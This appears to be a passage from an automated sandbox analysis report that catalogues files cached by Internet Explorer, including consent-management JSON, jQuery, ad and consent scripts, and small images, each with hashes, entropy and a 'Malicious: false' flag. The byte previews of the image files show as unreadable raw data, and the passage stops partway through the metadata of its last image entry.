Preview:	......JFIF.......................................................... .... %...%-))-969KKd......................&.....&:$$$$:3>2/2>3\H@@H\jYTYj.ss.............7...............6....................................................................................................................................................................JAU@..@..[.... [..............J9."..<.(6.u.....o...2.....D....v.e.h..K.9w..L%........g.v..(.....\|..9Yt...O.>.k.hl.........r...I.a.`9.?L...D.<.C....lc.......c.......s....%..^..x...8...t.........L...Y;....7..? .}.,...I~.".u....y......s..Mx......\|~s...;>..5...wd...z>..,..../......=..-...../0..d...t...M..sK..Uh..+..w.9.PA..[J..t....TR.\...DN[.-..5.K3..6.X.[ci..[cH..m...z>.....L,..1................._;.......T@RP.*....nc~.).^[@._;........\|.J..u.]....\..p..N~.........8....y.".;..2Z.L..]<.....?;.....[>.)r.tv\.0I.C;:........s...q..(..........}.....o...;~..T+....W......f.kw..8s.v^.ja.j...s..Yw.Lx.....~..w..}.......e...P....:..7.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\iab2Data[1].json Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	180232
Entropy (8bit):	5.115010741936028
Encrypted:	false
SSDEEP:	768:l3JqIWlR2TryukPPnLLuAlGpWAowa8A5NbNQ8nYHv:l3JqIcATDELLxGpEw7Aq8YP
MD5:	EC3D53697497B516D3A5764E2C2D2355
SHA1:	0CDA0F66188EBF363F945341A4F3AA2E6CFE78D3
SHA-256:	2ABD991DABD5977796DB6AE4D44BD600768062D69EE192A4AF2ACB038E13D843
SHA-512:	CC35834574EF3062CCE45792F9755F1FB4B63DDD399A5B44C40555D191411F0B8924E5C2FEFCD08BAC69E1E6D6275E121CABB4A84005288A7452922F94BE5658
Malicious:	false
Preview:	{"gvlSpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of one or more Purposes or Special Purposes.","id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with your online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices","description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3":{"de

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\jquery-1.9.1.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\nrrV97497[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	91720
Entropy (8bit):	5.417918168381897
Encrypted:	false
SSDEEP:	1536:Ght5EFuQkZu/ePhXO8InqFS0FkxcK+uLJXsD0voBZeTFuQNgaCpLf4LfcVFS:GhoghXZFpyEuLSkoLeTRCw
MD5:	87940B215EBED321358F0B3A40E7E821
SHA1:	B412235B3BF3229069D487ABFEEF28AA06811193
SHA-256:	4412C168BF8CFC076BD23DC69129CDD7EAA61AD5CCFF8828FB3BF84FD67FA8D0
SHA-512:	2ED8189A2B97DEE4042E8CB2BC063F4F7594C2EE6975F2EED7DEB7BCE3C5F9F8ED4B1BC2D6F984E0841CC940963CFFB5D595000E1514A42CE496034CF803664E
Malicious:	false
Preview:	var _mNRequire,_mNDefine;!function(){"use strict";function n(n){return"[object Array]"===Object.prototype.toString.call(n)}function e(n){return void 0!==n&&""!==n&&null!==n}function t(n){return"function"==typeof n}function r(r,i,o){return t(i)&&(o=i,i=[]),!!(e(r)&&n(i)&&t(o))&&void(u[r]={deps:i,callback:o})}function i(n,e){var r,c=[];for(var f in n)if(n.hasOwnProperty(f)){if(r=n[f],"object"==typeof r\|\|"undefined"==typeof r){c.push(r);continue}void 0!==o[r]?c.push(o[r]):(o[r]=i(u[r].deps,u[r].callback),c.push(o[r]))}return t(e)?e.apply(this,c):c}var o={},u={};_mNRequire=i,_mNDefine=r}();_mNDefine("modulefactory",[],function(){"use strict";function r(r){var e=!0,o={};try{o=_mNRequire([r])[0]}catch(i){e=!1}return o.isResolved=function(){return e},o}function e(){o=r("conversionpixelcontroller"),i=r("browserhinter"),n=r("kwdClickTargetModifier"),t=r("hover"),a=r("mraidDelayedLogging"),c=r("macrokeywords"),d=r("tcfdatamanager")}var o={},i={},n={},t={},a={},c={},d={};return e(),{conversionPix

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\otSDKStub[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	12814
Entropy (8bit):	5.302802185296012
Encrypted:	false
SSDEEP:	192:pQp/Oc/tyWocJgjgh7kjj3Uz5BpHfkmZqWov:+RbJgjjjaXHfkmvov
MD5:	EACEA3C30F1EDAD40E3653FD20EC3053
SHA1:	3B4B08F838365110B74350EBC1BEE69712209A3B
SHA-256:	58B01E9997EA3202D807141C4C682BCCC2063379D42414A9EBCCA0545DC97918
SHA-512:	6E30018933A65EE19E0C5479A76053DE91E5C905DA800DFA7D0DB2475C9766B632F91DE8CC9BD6B90C2FBC4861B50879811EE43D465E5C5434943586B1CC47F1
Malicious:	false
Preview:	var OneTrustStub=function(t){"use strict";var l=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupubconsent",this.oneTrustIsIABCrossConsentEnableParam="isIABGlobal",this.isStubReady=!0,this.geolocationCookiesParam="geolocation",this.EUCOUNTRIES=["BE","BG","CZ","DK","DE","EE","IE","GR","ES","FR","IT","CY","LV","LT","LU","HU","MT","NL","AT","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[NewDomainId]]",this.userLocation={country:"",state:""}},e=(i.prototype.initConsentSDK=function(){this.initCustomEventPolyfill(),this.ensureHtmlGroupDataInitialised(),this.updateGtmMacros(),this.fetchBannerSDKDependency()},i.prototype.fetchBannerSDKDependency=function(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\9i[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2364
Entropy (8bit):	5.979861530043819
Encrypted:	false
SSDEEP:	48:I5MeHxZo+bBl5EFi7+zV9/6j2zWPMhv/b9KZ64MloAOUD1k1aC:IeeRZB5E47+zV9/suWUhv0M5RD1kn
MD5:	219065A0FA777A594D149FF3B5E51765
SHA1:	6A30AA44F27011305C86123B83DE23FC53C8893F
SHA-256:	2D71F05E563DED9B3B46950ADCC6BD90FC77E62EBA29A319F6E058B17C94CEB7
SHA-512:	76EB8FE08C3B854E93591AFD90491049471C2AE1B68F54B281ED11A5B4B6B9327B87DA813B67E73CAE26CE907DA1C0097851DF1ABE36350E504AA5461619D675
Malicious:	false
Preview:	1dsw8DVChC1Z4Xzu3I2Kc2z/9rmFC5ms89JwPUUEVv/N8oUGCO6KFTrcoouOtCPcFNNSWHpEsMkQLUv2jx1OfaNBx5EF7BHiHhxsa1Uc0I1X+/E7+xhzH3WNKJgM9lD/vGZGvZyLdiRDoYlSAkEd6vZ0wwyFyBga/LYhDhojUQX/ca0zGlYA2xtuiIprk9cM+zw/2d0uHecCS0/LZNlz+HYlXzcUCUGsut4ussqQHTU+Kn9DiYMauOneFpZBH2WFTFgJ0D7hBH2qPpBQRpjgsvYCB+FNl28oYD7gQ59hJemK6BgjWccxjblOSrEuSrRd8H/cLxmyqWX9QxdjUbF9EPsHNUXXMptOAFR/UPBReCxDZeHgmH/SaKJmaNRwh6g+YQxZY0YQE1EDF/XoDke3cdOPCKyM9MU0Jh6pWiy6d0Vs0DixnyUyIeYPgPkLJx03682KENT5p317xrytqIAr/ETzsVMHKSSOTGH7TgEkTvro2CYfGgMBGVxVE8/GjlmvZAS3ybwSmjF5r0jRNmFgGuDlMeogvBEbVnFQVOM7628AxO74srxDVS4DfpG4Apm0hZq8a5QBT1kkTpyfU9Npdrk2rqqyze3ptMqiwm4W9z5wWcFKmMK5DwFQTJnNPmCz32pT0OhIrWPY0NuA+lmDG1hOWP2nZH6YjrGy7S1sRDN+Bfgf83Q8J9tYUPMHMRUce+pffnbeHGV5SC+4tyiZ+kNUy/FyxwWaf7l9AwyIUErtC8CP8yZbSUggq0bYBy4eqFMH5hpFQFj+JdHDiSyd5+xme6tyKKCoCY5ClGoadGK5QBe/ri2SnQTvEO4loshJeB/y10/N2A0zCtt0TCIvG+UlqiHY4ihnX4U++3x84CjdlRGXNjfPkagnj28ZALC5dRJPU48ZPsDY0oaPi68oPlGtvwo5YwTY9kvQ5Nt4aLYUrrw98zR8isgHOLzgwzSdAAcSEgS5MNUOHF84MIfWWN1erkForey+ja1J4cGF

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\AAuTnto[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.591962750491311
Encrypted:	false
SSDEEP:	24:U/6yrupdmd6hHb/XvxQfxnSc9gjo2EX9TM0H:U/6yruzFDX6oDBY+m
MD5:	BB8DFFDE8ED5C13A132E4BD04827F90B
SHA1:	F86D85A9866664FC1B355F2EC5D6FCB54404663A
SHA-256:	D2AAD0826D78F031D528725FDFC71C1DBAA21B7E3CCEEAA4E7EEFA7AA0A04B26
SHA-512:	7F2836EA8699B4AFC267E85A5889FB449B4C629979807F8CBAD0DDED7413D4CD1DBD3F31D972609C6CF7F74AF86A8F8DDFE10A6C4C1B1054222250597930555F
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs.................IDAT8O].[H.a...s..k.x..$....L...A.(T.Y....S$T....E.J.EO.(=..RB^..{..4..M...^f/3.o..?,..\|...9.s>...E.]rhj2.4....G.T"..!r.Th.....B..s.o.!...S...bT.81.y.Y....o...O.?.Z..v..........#h;.E........)p.<.....'.7.{.;.....p8...:.. ).O..c!.........5...KS..1....08..T..K..WB.Ww.V....=.)A.....sZ..m..e..NYW...E... Z].8Vt...ed.m..u......\|@...W...X.d...DR..........007J.q..T.V./..2&Wgq..pB..D....+...N.@e.......i..:.L...%....K..d..R..........N.V........$.......7..3.....a..3.1...T.`.]...T{.......).....Q7JUUlD....Y....$czVZ.H..SW$.C......a...^T......C..(.;]\|,.2..;.......p..#.e..7....<..Q...}..G.WL,v.eR...Y..y.`>.R.L..6hm.&,...5....u..[$_.t1.f...p..( .."Fw.I...'.....%4M..._....[.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\AAud6Gv[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	413
Entropy (8bit):	7.093848681158577
Encrypted:	false
SSDEEP:	12:6v/78/W/6TAkM23JsRvu+1noVUbmEhQ+euy:U/63M2GPnlt/hy
MD5:	DE30D776238542FAEC801D66E2A8F241
SHA1:	F5D5016AA5B18B9BD167BADF516CBF9E73B75AE4
SHA-256:	9F9D9AFE11AAD55C3374DCFEC04B7B46B279A8848AAE7888C8CD1D1692C882A2
SHA-512:	28298A1D10B0E27DF01221C259D9D26CD3411D141607D2E9D80F10E177E2626AA7AC2968D4ECB44B0E3F0C906B911C9CA9690BEE721017D481A60508EE1CE430
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs................2IDAT8O..K.A......$Xh#XD.Y..D..E.". .Uj.X...X.b...F.D.;K..D..`g.E.L^...r.l.....z;;....>..bU..b..1W..o...+./(K..,jx..sg..C .].y..{,^.k...Q4.o{...=..+.(ZD.kA.... @....a...f.P..t...pn..Q\.....Tw.....a....b...........1W....*.f&.\s.W.......o..f..~.3....[s%.....3;.....).{f..'m...Nx.:.2...>?..#;.a..(......U..7.b....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\AAzjSw3[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	447
Entropy (8bit):	6.995750220984069
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+kHocTbhb6Ve3eG4ZMPgeir16YDFkAgDiArTXqQkDSBulUMjfMD+8i:6v/78/YoY6VagM49EyOiAr7qRFjMMgyN
MD5:	FE6E36688E331DF4D28EADB7DC59BA21
SHA1:	EDBAB1D7C78149DFB01B8ED083DB5AB8FF186E0D
SHA-256:	8AE4F73BC751478FF2995E610EA180720E91FA3C9E69E47901AA56925DA0C242
SHA-512:	F5D627D4369FECE4BF72D321E6F9FE3B18408345E3EA489A74280E01417CA2B458AE9F31F0CBABF521116F80B9599FE989D5ACA7B26962DDBA9600E2FDBAC660
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d...TIDAT8Ocd....@.`..d.Af@..).......f.:.3pq.....b`.......(..Ez1.m-``fbb`ffbX.V...9...D."....)..........v... ...`...`... ....w3....@...}....{0..P...4..@...t.~...p..u0[FT.A]N....P.8.....w....A..1..p.a..c.......`5 W".........%..}u.3-e.-..0l.b.0Cq.7.....^..U..(.....Nv6..` n=z....w..n?d...`.{....?..*!.#).rq2xX..n8t.,f...(%.p....k....``4/00..Q.f.........IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB10MkbM[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.720280784612809
Encrypted:	false
SSDEEP:	24:T2PqcKHsgioKpXR3TnVUvPkKWsvIos6z8XYy8xcvn1a:5PZK335UXkJsgIyScf1a
MD5:	569B24D6D28091EA1F76257B76653A4E
SHA1:	21B929E4CD215212572753F22E2A534A699F34BE
SHA-256:	85A236938E00293C63276F2E4949CD51DFF8F37DE95466AD1A571AC8954DB571
SHA-512:	AE49823EDC6AE98EE814B099A3508BA1EF26A44D0D08E1CCF30CAB009655A7D7A64955A194E5E6240F6806BC0D17E74BD3C4C9998248234CA53104776CC00A01
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs...#...#.x.?v...ZIDAT8OmS[h.g.=s..$n...]7.5..(.&5...D..Z..X..6....O.-.HJm.B..........j..Z,.D.5n.1....^g7;;.;3.w../........}....5....C==}..hd4.OO..^1.I...U8.w.B..M0..7}.........J....L.i...T...(J.d.L..sr.......g?.aL.WC.S..C...(.pl..}[Wc..e.............[...K......<...=S......]..N/.N....(^N'.Lf....X4.....A<#c.....4fL.G..8..m..RYDu.7.>...S....-k.....GO..........R.....5.@.h...Y$..uvpm>(<..q.,.PY....+...BHE..;.M.yJ...U<..S4.j..g....x.............t".....h.....K...~._....:...qg.).~..oy..h..u6....i._n...4T..Z.#.....0....L......l..g!..z...8.I&....,iC.U.V,j_._...9.....8<...A.b.\|.^..;..2......./v .....>....O^..;.o...n .'!k\l..C.a.I$8.~.0...4j..~5.\6...z?..s.qx.u....%...@.N.....@..HJh].....l..........#'.r.!../..N.d!m...@.........qV...c..X....t.1CQ..TL....r3.n.."..t.....`...$...ctA....H.p0.0.A..IA.o.5n.m...\.l.B>....x..L.+.H.c6..u...7....`....M....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1aWtIw[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	510
Entropy (8bit):	7.314376332663497
Encrypted:	false
SSDEEP:	12:6v/78/W/6TkQuWMzMpQ7eMSG4MO93rekzr9tJEd9:U/64QuW3qHgp93rPr9A
MD5:	362CD2797DFF13C9363FD324E4126C15
SHA1:	2C701EA1AF61FDEDFAFEB4DCA65B32F2F1285E20
SHA-256:	18B3B8E0A5375C41116B356FEDEF1D10ADEB58C50762BB67E04181BEFA097A19
SHA-512:	905ABB36FEF4D3A40EA326D9792A59EC7FD1E831463D73F01467891FE060FD90C098485ABE2E49D148015BA6CE1C2FD706AE662F2B0F1631E7C04EDC4C12BFD5
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs.................IDAT8O.S;N.@.}.N.(......HH4Qp.h.h.Di()9.........+.$z..1. .....NBPH0#..~o..x.8t..........q..+...:..I.\YT/...K.3.1.p.]3#../..!...x...Z.j..X..........\|....=.T'..I...2G,!.^...Eg&...%H..7,.-..xcLf......%.tV.^..O...~....}..)..=..T..z......}....b....mB........).!Is....*...N.L..;..>3.aNr...D..A...YkHp..:...I~3..6Lew.I...5fVri.Yj:.T...%....Z&...,...9$.../sb.-\.:.....1...1..I...z._6..a.....,.....<.`......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1ardZ3[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	481
Entropy (8bit):	7.341841105602676
Encrypted:	false
SSDEEP:	12:6v/78/SouuNGQ/kdAWpS6qIlV2DKfSlIRje9nYwJ8c:3Al0K69YY8c
MD5:	6E85180311FD165C59950B5D315FF87B
SHA1:	F7E1549B62FCA8609000B0C9624037A792C1B13F
SHA-256:	49672686D212AC0A36CA3BF5A13FBA6C665D8BACF7908F18BB7E7402150D7FF5
SHA-512:	E355094ECEDD6EEC4DA7BDB5C7A06251B4542D03C441E053675B56F93CB02FAE5EB4D1152836379479402FC2654E6AA215CF8C54C186BA4A5124C26621998588
Malicious:	false
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d...vIDAT8O.S.KBQ...8...6X.b...a..c....Ap....NJ....$......P..E\|. ..;>..Z...q....;.\|..=../.o.........T.....#..j5..L&.<)...Q\.b(..X,.f..&..}$.I..k...&..6.b:....~......V+..$.2...(..f3j...X(.E8..}:M.........5.F)......\|>g.<.....a^.4.u...%...0W*.y-{.r.xk.`.Q.$.}..p>.c..u..\|.V....v.,...8.f.H$.l......TB......,sd..L..\|..{..F...E..f..J.........U^.V.>..v....!..f....r.b...........xY......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blKRC[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	11495
Entropy (8bit):	7.900044443824013
Encrypted:	false
SSDEEP:	192:BYWAhu4JgC6BMGgjaRg014ogvUDPejR4Co9P7F0BrtvvNMluNi:exWlMXj2gm4ogvMPIRqqRtnNMlv
MD5:	8F3689317B4325F7336BD54E2C2ADAAA
SHA1:	4AC8FFE44B45C5BA210A8574CE6E4BD5CD96E11D
SHA-256:	24A992F4237FF295FF5A4D1F7555468F72A478C2D0E633E2EE9D45A969779106
SHA-512:	83E73F456594428489B17E8944DE3CB753CA6EF07619183A63A9F8BB7529521DA1D2C26B06CBD12121B64F0A7E259EB4B13AE3BDC6034E838480DE8EE4EF9C37
Malicious:	false
Preview:	......JFIF.....,.,.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(...(...(...(...(...(...(...(.?.^".._......d.T..z.....jVZzo...!...O.u5..x.M.I..i@.&./...^k....ZYd....''....RO.,{9.>..a\.......E..#.....$.5....?.5..2.........iV.Y....=.;..gk.n.....L..0?.iY..F.m.t..\K.....k.n!v..p..v....4....q..R.\.;{.K.....S......W*r...hj...Z.[k.?.$...x....W..x.X..E.`;...v.m.x.}....Rn...X.vtV...tk......"...+^...S}......C%..(...(...(.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blQeY[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	dropped
Size (bytes):	10394
Entropy (8bit):	7.949256351105118
Encrypted:	false
SSDEEP:	192:xFgpCJD0HEmhO2GVQoVOesWvMzSMudKiDY1s0B1hP43G1f5ja:fixHfO2GVQEASlgR2Wjm
MD5:	CFD5DC4E80385EAC97D878CDD7C2D025
SHA1:	2EE28645C698258060167F248D3350D26E97812D
SHA-256:	31F18E221AAB26574C47D3EC64B4C6BFC77B18B5816688A0838E7BA56E5EF904
SHA-512:	34ED99A77CFB0A54D9D62B12F055E0A36673745AB7F1FF8E52E1A48C7F42ED4CA1157EB5A3634E959800C0F53C9E81A167880B885241F7DEA1ECF0B6F5989DD1
Malicious:	false
Preview:	......JFIF.....H.H.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...p.}...<.S...f.....kn._..^..zz.....~..0...4..M!\.+......:^.9..w..dz....rwF...U].Y.q.2..I.aX..A.;J..\..c.)..P2.>`.{.*...g.=.2.....a.u.(.0.....q...Y....GsO.w qJ..~h..YI.%\|..Hn.\.$....CC.I..T.i.U..^..s.C..0..u.......T)~..#e>..J...%.-..O.V$.&....\|...J.......1M1.E7.....v......r(....;+.(....1N....`7.b..OB..Qp..LS.6..Q.SH..i4.4.i..E79...M".Glf.1.I.g.L....I.:S.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blT6U[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	7461
Entropy (8bit):	7.923839767476408
Encrypted:	false
SSDEEP:	96:BGAaEy77lwzIC5bDE4udgK6fdoigCfEroYl38jTQDezAZO9TXoFYQhs:BCflub/kv6fdxOll3ebCORQhs
MD5:	B6DD323E09DBAE93B12F22511D059EE0
SHA1:	583C343186895EF4824BE2B318F93B7E77802EFE
SHA-256:	1B64C59ACC87B947F6421CEBE1D1B4D104F3BB9F0EF33F288FB1943DF1F8BDCC
SHA-512:	4F493564AF91F7B101FA62C3534BB6C46C39269FB20FC995F922856D79D3D3751F6D5A39383E1B4B03B85D9957028E763EC27E1DE78F5728446E80D1112B4CC4
Malicious:	false
Preview:	......JFIF.............C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....k.j.X.6!.i.....5`G....A.....`Y..z..Q.....c.l..z...s.$. .Z...U...L...FG1.i."3....\.......r...Lt..>..\F.H.7V.....z6.>.j#..-P../.."........TYw.[.Y.......8r..N..n.m.\|..?...9Z.W..\|c......(r.Q..{.T...)..3......`E-.n.N.h".9...F.m..P.R.)@.e.rw......8..\.GM..W..=.....5.%.J.q....C..j.s.+h.p.e..U...].=&...m.......s. S.iJ...KA..zg8..z...a..U.bs.V.x.e@T.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blTcc[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	14743
Entropy (8bit):	7.959686035337649
Encrypted:	false
SSDEEP:	384:OtKJ1Vp3DcpUw+B9ehqauvKPQexbsZkDOYM2EC3aCwe:OKvQcaSK9xbsyDOUxaze
MD5:	830AD660A5C1F3EDFE4ADE312D8C7E51
SHA1:	C3C05A2ACE750C7C7434BD22DEB48DA2E5D0B21A
SHA-256:	B8BB92A700703D156C114A08626D3AE677E98C157A9BCA0D8DA4E5182A305B82
SHA-512:	A6768F477EB013F6043F52B878647FBEE9BC35BCF7C3B878B64C7ED86E5F92DA3568F01544A94C3F50EF1FF5E1E1DEBA1C54730861E10E17DB3565F4AF8CA14F
Malicious:	false
Preview:	......JFIF.....H.H.....C................ .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO...C.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......=.$........y.6.DM.2riE6.5.f<QM.....~......[[..>....i.F......@f.F...uV...V.R).......>.T3..(c[..Z.....x.~....M...!...]..n.z._........H.Z,.9.K]..u...............h.3...].."....?............Y..8...+..H.Za...(..iXVf?.Hd5.......?.......?......7y......,s..GF.W.].....u.. ....U.......cz.m....MK..A9....U.3..A.SM;.PG.S...9....Q.E;~h...E.......`zx...C.4..=M.:.9.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\BB1blVvK[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 300x250, frames 3
Category:	dropped
Size (bytes):	6952
Entropy (8bit):	7.894395038279992
Encrypted:	false
